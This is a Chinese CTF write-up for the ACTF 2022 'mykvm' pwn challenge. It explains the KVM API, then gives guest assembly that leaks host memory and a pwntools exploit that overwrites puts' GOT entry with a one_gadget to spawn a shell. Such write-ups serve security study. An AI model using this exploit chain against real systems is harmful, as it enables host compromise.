KVM 全称是基于内核的虚拟机(Kernel-based Virtual Machine),它是Linux 的一个内核模块,K基于虚拟化扩展(Intel VT 或者 AMD-V)的 X86 硬件的开源的 Linux 原生的全虚拟化解决方案。
KVM 本身不执行任何硬件模拟,需要用户空间程序(QEMU)通过 /dev/kvm接口设置一个客户机虚拟服务器的地址空间,向它提供模拟 I/O,并将它的视频显示映射回宿主的显示屏。
一.题目逆向分析
题目来源于ACTF 2022的一道PWN题,给出四个文件,二进制程序在bin文件夹下,其余都是题目部署所用到的文件,可以用docker搭建题目,后面会讲到:
├── bin │ ├── mykvm ├── ctf.xinetd ├── Dockerfile └── start.sh |
分析二进制文件逻辑,发现代码量并不大,逻辑也很简单:
在函数sub_400B92中,有很多ioctl操作 /dev/kvm设备文件,但还不知道到底是请求了哪种接口实现了哪种功能:
这里需要了解一下KVM的实现。
二.KVM实现
GitHub有两个简易的KVM例子供参考:
https://github.com/dpw/kvm-hello-world
https://github.com/kvmtool/kvmtool
阅读源码后,总结出在主机创建一个KVM的基本步骤如下:
1、打开KVM设备
2、创建VM
3、为Guest设置内存
4、创建虚拟CPU
5、为vCPU设置内存
6、将汇编代码放进用户区域,设置vCPU的寄存器
7、运行和处理退出
下面分步骤介绍。
2.1 step 1-3
打开KVM设备,创建VM,设置Guest内存。实现代码如下:
void kvm(uint8_t code[], size_t code_len) { // step 1, open /dev/kvm int kvmfd = open("/dev/kvm", O_RDWR|O_CLOEXEC); if(kvmfd == -1) errx(1, "failed to open /dev/kvm");
// step 2, create VM int vmfd = ioctl(kvmfd, KVM_CREATE_VM, 0);
// step 3, set up user memory region size_t mem_size = 0x40000000; // size of user memory you want to assign void *mem = mmap(0, mem_size, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); int user_entry = 0x0; memcpy((void*)((size_t)mem + user_entry), code, code_len); structkvm_userspace_memory_region region = { .slot = 0, .flags = 0, .guest_phys_addr = 0, .memory_size = mem_size, .userspace_addr = (size_t)mem }; ioctl(vmfd, KVM_SET_USER_MEMORY_REGION, &region); /* end of step 3 */ } |
以上代码创建一个VM,mmap为VM分配0x40000000(1GB)大小,设置user_entry为0,将汇编放在第一页,Guest将从该地址开始执行。
2.2 step 4-6
创建虚拟CPU,为vCPU设置内存,将汇编代码放进用户区域。实现代码如下:
/* step 4~6, 创建和设置 vCPU */ void kvm(uint8_t code[], size_t code_len) { /* step 1-3 ... */ // step 4, create vCPU int vcpufd = ioctl(vmfd, KVM_CREATE_VCPU, 0);
// step 5, set up memory for vCPU size_t vcpu_mmap_size = ioctl(kvmfd, KVM_GET_VCPU_MMAP_SIZE, NULL); structkvm_run* run = (structkvm_run*) mmap(0, vcpu_mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED,vcpufd, 0);
// step 6, set up vCPU's registers /* standard registers include general-purpose registers and flags */ structkvm_regs regs; ioctl(vcpufd, KVM_GET_REGS, &regs); regs.rip = user_entry; regs.rsp = 0x200000; // stack address regs.rflags = 0x2; // in x86 the 0x2 bit should always be set ioctl(vcpufd, KVM_SET_REGS, &regs); // set registers
/* special registers include segment registers */ structkvm_sregs sregs; ioctl(vcpufd, KVM_GET_SREGS, &sregs); sregs.cs.base = sregs.cs.selector = 0; // let base of code segment equal to zero ioctl(vcpufd, KVM_SET_SREGS, &sregs); // not finished ... } |
以上代码创建vCPU,设置寄存器,每个kvm_run结构对应一个vCPU,每个VM可创建多个vCPU。vCPU创建后执行于实模式,也就是说只能执行16位汇编代码,如果需要执行32位或64位,则还需要设置页表。
2.3 step 7
运行和处理退出。实现代码如下:
/* step 7 */ void kvm(uint8_t code[], size_t code_len) { /* ... step 1~6 */ // step 7, execute vm and handle exit reason while(1) { ioctl(vcpufd, KVM_RUN, NULL); switch(run->exit_reason) { caseKVM_EXIT_HLT: fputs("KVM_EXIT_HLT", stderr); return0; caseKVM_EXIT_IO: /* TODO: check port and direction here */ putchar(*(((char *)run) + run->io.data_offset)); break; caseKVM_EXIT_FAIL_ENTRY: errx(1, "KVM_EXIT_FAIL_ENTRY: hardware_entry_failure_reason = 0x%llx", run->fail_entry.hardware_entry_failure_reason); caseKVM_EXIT_INTERNAL_ERROR: errx(1, "KVM_EXIT_INTERNAL_ERROR: suberror = 0x%x", run->internal.suberror); caseKVM_EXIT_SHUTDOWN: errx(1, "KVM_EXIT_SHUTDOWN"); default: errx(1, "Unhandled reason: %d", run->exit_reason); } } } |
在switch语句中,只需要注意两种状态,即KVM_EXIT_HLT和KVM_EXIT_IO,前者由汇编指令hlt触发,会退出VM。后者由汇编指令in/out触发,把字符输出到设备。ioctl(vcpufd, KVM_RUN, NULL)会一直运行,直到退出(如hlt、out、error)
2.4 尝试自己的VM
接下来我们直接写16位汇编代码,让其运行在VM的实模式下。以下是一个简单的例子,它输出一个字符“a”:
.code mov al, 0x61 mov dx, 0x217 out dx, al hlt |
dx 寄存器赋值0x217是将内容输出到这个串行端口。将其编译成16位汇编代码,可以使用nasm,也可以使用工具网站在线汇编:
shell-storm | Online Assembler and Disassembler
uint8_t vmcode[] = "\xb0\x61\xba\x17\x02\xee\xf4" kvm(code, sizeof(code)); |
执行结果(因为没有输出换行符,所以和KVM_EXIT_HLT连在了一起):
三.题目逆向分析
在了解了KVM的执行原理后,回到题目进行分析。
因为KVM模块是建立在内核中的,所以知道ioctl的宏定义之后,可以在Linux内核源码进行搜索。以KVM_RUN为例,存在于源码树 /include/uapi/linux/kvm.h 头文件中,以下是搜索到的结果:
值0x80看起来和题目中的完全不同,看来是_IO(KVMIO, 0x80)对值进行了处理,对于这种复杂的嵌套宏定义,可以直接写一段C代码把它的值打印出来:
#include<stdio.h> #include<linux/kvm.h>
void main(){ printf("KVM_CREATE_VM 0x%llx\n",KVM_CREATE_VM); printf("KVM_SET_USER_MEMORY_REGION 0x%llx\n",KVM_SET_USER_MEMORY_REGION); printf("KVM_CREATE_VCPU 0x%llx\n",KVM_CREATE_VCPU); printf("KVM_GET_VCPU_MMAP_SIZE 0x%llx\n",KVM_GET_VCPU_MMAP_SIZE); printf("KVM_GET_REGS 0x%llx\n",KVM_GET_REGS); printf("KVM_SET_REGS 0x%llx\n",KVM_SET_REGS); printf("KVM_GET_SREGS 0x%llx\n",KVM_GET_SREGS); printf("KVM_SET_SREGS 0x%llx\n",KVM_SET_SREGS); printf("KVM_RUN 0x%llx\n",KVM_RUN); } |
输出结果:
KVM_CREATE_VM 0xae01 KVM_SET_USER_MEMORY_REGION 0x4020ae46 KVM_CREATE_VCPU 0xae41 KVM_GET_VCPU_MMAP_SIZE 0xae04 KVM_GET_REGS 0x8090ae81 KVM_SET_REGS 0x4090ae82 KVM_GET_SREGS 0x8138ae83 KVM_SET_SREGS 0x4138ae84 KVM_RUN 0xae80 |
现在输出的值就和题目中一样了,可以根据这些值,配合上面的KVM项目源码对程序进行还原,在IDA中创建了结构体并命名变量后就很接近源码,分析起来就很轻松了。最终得到如下内容:
四.运行程序
我这里是Mac + VMware + Ubuntu 16,开启了VT虚拟化也找不到/dev/kvm,但是ubuntu 18/20是有这个设备文件的,VirtualBox也是有设备文件的,但是VirtualBox太卡了,所以最终还是妥协,使用Windows + VMware + ubuntu + docker来执行程序,在Ubuntu中使用docker的原因是尽可能的还原题目的环境,和远程保持一致。在docker中开启1234端口,然后gdbserver监听,在ubuntu中远程调试,启动方法如下:
sudo docker run -d -p 1234:1234 -p 8888:8888 --privileged --cap-add=SYS_PTRACE mykvm gdbserver :1234 --attach PID |
五.漏洞利用分析
程序中最明显的漏洞点在于 size 判断,可发生整数溢出:
但是通过测试的结果,发现这里的漏洞并不能进行利用,在进入run_kvm函数之后有memcpy函数使用这个size,如果size过大会导致memcpy报错程序崩溃。
还有另一处不太明显的漏洞,存在于run_kvm函数内部,memcpy从栈中拷贝数据到bss段0x603000处,size是我们可控的,虽然栈大小大于可控size 0x1000,但还是不可避免的拷贝了一些宿主机的栈内容到VM中,造成内存泄露,稍后会验证这一点。
我们可以写一段汇编代码,来遍历整个VM空间,由于是实模式,寻址最多只能20位,所以最多可以遍历0~0xfffff地址的内容,实际上只需要0xffff就足够了,不需要去绞尽脑汁写16位的段寄存器寻址。以下代码会输出VM中0~0xffff内存的所有内容:
mov di,0 mov dx,0x217 .start: mov al,[di] out dx,al inc di cmp di,0xffff jne .start hlt |
然后我们可以使用pwntools接收输出内容,并将内容保存成文件,以便分析:
defsave_mem(): content = "" fori inrange(0xffff): content += io.recv(1) withopen('dumpmem','w')as f: f.write(content) |
在导出的文件中可以看到一些宿主机地址,大概偏移在0x400附近,证明了之前说过的memcpy把宿主机栈内容拷贝了进来:
也就是说如果我们写汇编代码将偏移位置的值打印出来就可以完成泄露。经过调试偏移,泄露地址的汇编如下:
mov di,0x416 mov dx,0x217 .start: mov al,[di] out dx,al inc di cmp di,0x41e jne .start hlt |
泄露后有了libc地址,要考虑如何利用。程序执行完run_kvm后有一个交互可以输入,并将输入内容拷贝到bss段的dest处,最后调用puts函数后返回:
由于dest存储malloc的一个堆地址,我们可以尝试在VM内存中搜索这个堆地址,计算它在内存中的偏移,就像泄露地址那样,然后在VM中使用汇编对其进行修改,改为got表的地址,在要求输入“host name“时将puts地址改为one_gadget的地址,最后调用puts其实就调用了one_gadget,拿到shell。
开启ASLR堆地址会发生变化,在搜索的时候不太方便,可以关闭ASLR来保证每次分配的地址都是一样的,方便搜索。我们还是用之前的汇编将内存dump出来,我这里的堆地址0x60b010,找到在偏移0x7100附近:
以下是开了ASLR的情况,也是在0x7100附近:
经过调试计算得出偏移在0x7100,编写汇编代码,将此处改为got附近的地址,这里将其改为了0x60200d:
mov di,0x7100 mov al,0x0d mov [di],al mov al,0x20 mov [di+1],al mov al,0x60 mov [di+2],al mov al,0 mov [di+3],al mov al,0 mov [di+4],al mov al,0 mov [di+5],al hlt |
然后发现输入完”host name“后,memcpy函数会向0x60200d进行拷贝,证明修改dest成功:
正常来说这里直接修改puts的got就可以了,但还需要考虑一个情况,readline函数会调用malloc,堆管理比较混乱,并且不会读入不可见字符,因此最好是修改puts的最后3个byte成功率会高一些,这也是为什么把写入地址设置为0x60200d的原因。(另外,ASLR对于KVM有一定的影响,在不开启ASLR时,需要泄露的内存偏移在0x9b98,会直接泄露一个main_arena+0x88的地址,成功率100%,但却打不通开了ASLR的情况,具体什么原因还不是很懂,需要进一步的学习)
最终泄露、写入的汇编代码如下:
mov di,0x416 mov dx,0x217 .start: mov al,[di] out dx,al inc di cmp di,0x41e jne .start
mov di,0x7100 mov al,0x08 mov [di],al mov al,0x20 mov [di+1],al mov al,0x60 mov [di+2],al mov al,0 mov [di+3],al mov al,0 mov [di+4],al mov al,0 mov [di+5],al hlt |
exp代码如下:
from pwn import *
context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#io = process("./mykvm") io = remote('127.0.0.1',8888) #shellcode = "\xbf\x00\x00\xba\x17\x02\x8a\x05\xee\x47\x83\xff\xff\x75\xf7\xf4" # search all memory #shellcode = "\xbf\x16\x04\xba\x17\x02\x8a\x05\xee\x47\x81\xff\x1e\x04\x75\xf6\xf4" # leak where to read #shellcode = "\xbf\x00\x71\xba\x17\x02\x8a\x05\xee\x47\x81\xff\x08\x71\x75\xf6\xf4" # leak where to write shellcode ="\xbf\x16\x04\xba\x17\x02\x8a\x05\xee\x47\x81\xff\x1e\x04\x75\xf6\xbf\x00\x71\xb0\x0d\x88\x05\xb0\x20\x88\x45\x01\xb0\x60\x88\x45\x02\xb0\x00\x88\x45\x03\xb0\x00\x88\x45\x04\xb0\x00\x88\x45\x05\xf4"
''' search memory:
mov di,0 mov dx,0x217 .start: mov al,[di] out dx,al inc di cmp di,0xffff jne .start hlt '''
''' leak libc:
mov di,0x416 mov dx,0x217 .start: mov al,[di] out dx,al inc di cmp di,0x41e jne .start hlt '''
''' leak mem idx:
mov di,0x7100 mov dx,0x217 .start: mov al,[di] out dx,al inc di cmp di,0x7108 jne .start hlt '''
''' write memory:
mov di,0x416 mov dx,0x217 .start: mov al,[di] out dx,al inc di cmp di,0x41e jne .start
mov di,0x7100 mov al,0x08 mov [di],al mov al,0x20 mov [di+1],al mov al,0x60 mov [di+2],al mov al,0 mov [di+3],al mov al,0 mov [di+4],al mov al,0 mov [di+5],al hlt '''
defsave_mem(): content = "" fori inrange(0xffff): content += io.recv(1) withopen('dumpmem','w')as f: f.write(content)
io.sendlineafter("your code size: \n",str(0x1000)) io.sendafter("your code: \n",shellcode)
# gdb.attach(io,"b *0x40111d") io.sendlineafter("guest name: ","unr4v31") io.sendlineafter("guest passwd: ","unr4v31")
# save_mem() # raw_input() deffindidx(): fori inrange(0xffff): byte = io.recv(1) ifbyte == '\x7f': print hex(i) raw_input() else: continue # findidx() raw_input() libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x7198-0x610000 info(hex(libc_base)) one_gadget = libc_base + 0x45226 info(hex(one_gadget))
io.sendlineafter("host name: ","a"*0x1d+p16(one_gadget&0xffff)+p8((one_gadget&0xff0000)>>16))
io.interactive() |
Reference
Using the KVM API
kvm.h - include/uapi/linux/kvm.h - Linux source code (v5.16-rc1) - Bootlin
【KVM】KVM学习-实现自己的内核
[Note] Learning KVM - implement your own kernel
x86 Instruction Set Reference
ACTF 2022 Pwn mykvm